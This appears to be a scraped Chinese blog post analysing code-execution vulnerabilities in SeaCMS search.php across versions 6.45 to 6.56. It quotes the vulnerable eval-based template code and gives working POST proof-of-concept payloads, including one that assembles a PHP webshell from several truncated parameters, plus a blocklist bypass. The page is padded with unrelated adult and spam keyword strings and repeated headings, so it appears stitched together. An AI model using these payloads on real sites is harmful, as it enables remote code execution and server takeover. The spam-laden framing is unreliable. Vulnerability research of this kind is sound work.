八戒八戒在线看,日本xxxxxxxxx59,兽人dna与人类dna比较

seacms 的search.php 在v6.45,v6.54,v6.55 都爆出過代碼執行漏洞，而且是在同一個地方即對if標簽解析上面過濾不嚴導致的代碼執行漏洞，該漏洞本身也特別有意思，因此自己好好總結了一番

v6.45的代碼執行漏洞分析

代碼執行部分在/include/main.class.php文件的parseIf函數中

function parseIf($content){
    if (strpos($content,'{if:')=== false){
    return $content;
    }else{
    $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    $labelRule2="{elseif";
    $labelRule3="{else}";
    preg_match_all($labelRule,$content,$iar);
    $arlen=count($iar[0]);
    $elseIfFlag=false;
    for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                    if (strpos($strThen,$labelRule3)>=0){
                            $elsearray=explode($labelRule3,$strThen);
                            $strThen1=$elsearray[0];
                            $strElse1=$elsearray[1];
                            @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                            if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                    }else{
                    @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                    if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
            }else{
                    $elseIfArray=explode($labelRule2,$strThen);
                    $elseIfArrayLen=count($elseIfArray);
                    $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                    $resultStr=$elseIfSubArray[1];
                    $elseIfArraystr0=addslashes($elseIfArray[0]);
                    @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                    for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                            $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                            $strElseIf=$this->parseStrIf($strElseIf);
                            $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                            @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                            @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                            if ($elseIfFlag) {break;}
                    }
                    $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
                    $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
                    if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                    @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                    $content=str_replace($iar[0][$m],$resultStr,$content);
            }
    }
    return $content;
    }
    }

上面主要邏輯是解析{if:}{end if}標簽代碼，把if語句的條件判斷部分取出來然后用eval函數去執行，這個漏洞點在于在這個過程中沒有做任何處理，直接用eval函數去處理，我們去找找調用這個函數的地方

在search.php 中的echoSearchPage()函數可以觸發漏洞

function echoSearchPage()
{
    global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
    $order = !empty($order)?$order:time;
 ...
 ...
 ...
    $content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);
 ...
 ...
 ...
    $content=replaceCurrentTypeId($content,-444);
    $content=$mainClassObj->parseIf($content);

order 這個變量可以通過變量覆蓋來傳入，沒有任何過濾，之后用order變量替換了模板中的{searchpage:ordername}

$content = str_replace("{searchpage:ordername}",$order,$content);

我們提交我們post的數據：

searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}

替換后的模板的html代碼如下:

<a href="{searchpage:order-time-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近熱播</a>
<a href="{searchpage:order-score-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">評分最高</a>

然后經過parseIf函數的解析，將{if:}{end if}的條件判斷語句提取出來，即1)phpinfo();if(1 , 正則語句為$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");

eval 函數字符拼接后最終執行的代碼是:

evil("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}");

v6.54 版本代碼注入

之后官方修復了這一漏洞，修復方式是這樣的:

$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
if(!(in_array($order,$orderarr))){$order='time';}

這個時候官方修復的方法是將order參數設置了一個白名單，這樣就無法通過order 參數注入代碼，然而，通過之前的分析我們知道，漏洞產生的問題是在于parseIf函數中的參數沒有經過過濾直接拼接后用eval執行，so ,漏洞再次產生，還是在search.php文件中，但攻擊payload不再order參數這里，而在前面的參數中：

$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);

$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));

$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));

$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));

$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));

$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));

$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));

$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));

$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));

這些參數也可以通過變量覆蓋的方式傳入，然后這些參數還用了removeXSS,addslashes函數去過濾，而且截取了前20個字節，即每個參數只能傳入20個字節長度的限制，構造的poc也是特別巧妙，來看下大佬們構造的poc

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

在search.php的echoSearchPage函數中的代碼大概這樣:

function echoSearchPage()
{
...
    $content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);
...

    $content = str_replace("{searchpage:type}",$tid,$content);
    $content = str_replace("{searchpage:typename}",$tname ,$content);
    $content = str_replace("{searchpage:year}",$year,$content);
    $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
    $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    if($state=='w'){$state2="完結";}elseif($state=='l'){$state2="連載中";}else{$state2="全部";}
    if($money=='m'){$money2="免費";}elseif($money=='s'){$money2="收費";}else{$money2="全部";}
    $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
    $content = str_replace("{searchpage:ver}",$ver,$content);
        
...
    $content=replaceCurrentTypeId($content,-444);
    $content=$mainClassObj->parseIf($content);

這里利用了對searchpage標簽重復替換的方法插入我們的payload

原來模板中的html代碼如下:

<meta name="keywords" content="{seacms:searchword},海洋CMS" />

第一次替換{seacms:searchword} 后的html代碼為:

<meta name="keywords" content="{if{searchpage:year},海洋CMS" />

之后依次替換的內容為:

//替換year
<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />

//替換area
<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />

//替換letter
<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />

//替換lang
<meta name="keywords" content="{if:eval(join{searchpage:jq}},海洋CMS" />

//替換jq
<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />

//替換ver
<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />

這樣就拼好了我們的一句話木馬了, 之后被$labelRule正則解析出來的代碼為:eval(join($_POST[9]))

最終我們eval執行的語句是:

@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");

v6.55 代碼執行

在這個版本中，開發人員終于發現了這個問題的本質，于是在這個版本中添加了一個修復方案:

foreach($iar as $v){
    $iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;

很明顯的黑名單過濾，只是簡單得過濾了下常用的危險命令，但因為前面參數還有addshalshes函數和remoteXSS函數的過濾，導致這里不太好利用， freebuf上面已經有大佬公布了利用方式，利用$_SERVER變量任意代碼執行，具體細節看參考鏈接,這里我只是執行一個簡單的輸出命令來證實一下代碼執行漏洞,

poc如下:

searchtype=5&searchword={if{searchpage:year}&year=:p{searchpage:area}}&area=r{searchpage:letter}&letter=int{searchpage:lang}&yuyan=_r({searchpage:jq}&jq={searchpage:ver}&&ver=$GLOBALS)

最后代碼執行的是print_r($GLOBALS)函數，成功打印出了$GLOBALS參數的值.

v6.56

該版本除了黑名單還在search.php中添加了如下一句話:

//感謝freebuf文章作者天擇實習生（椒圖科技天擇實驗室）的漏洞報告
if(strpos($searchword,'{searchpage:')) exit;

這樣，就讓searchpage標簽的替換都失效了，個人認為這種修復方法也不是很好，但目前沒有找到可利用的其他標簽，該版本目前暫時解決了代碼執行漏洞的問題

參考：
http://www.freebuf.com/vuls/150042.html
http://www.freebuf.com/vuls/150303.html
https://www.seebug.org/vuldb/ssvid-92744

三个男躁一个女,国精产品一区一手机的秘密,麦子交换系列最经典十句话,欧美国产综合欧美视频

seacms 多個版本的代碼執行漏洞總結(search.php)

seacms 多個版本的代碼執行漏洞總結(search.php)

v6.45的代碼執行漏洞分析

v6.54 版本代碼注入

v6.55 代碼執行

v6.56

推薦閱讀更多精彩內容

三个男躁一个女,国精产品一区一手机的秘密,麦子交换系列最经典十句话,欧美 国产 综合 欧美 视频

seacms 多個版本的代碼執行漏洞總結(search.php)

v6.45的代碼執行漏洞分析

v6.54 版本代碼注入

v6.55 代碼執行

v6.56

推薦閱讀更多精彩內容

三个男躁一个女,国精产品一区一手机的秘密,麦子交换系列最经典十句话,欧美国产综合欧美视频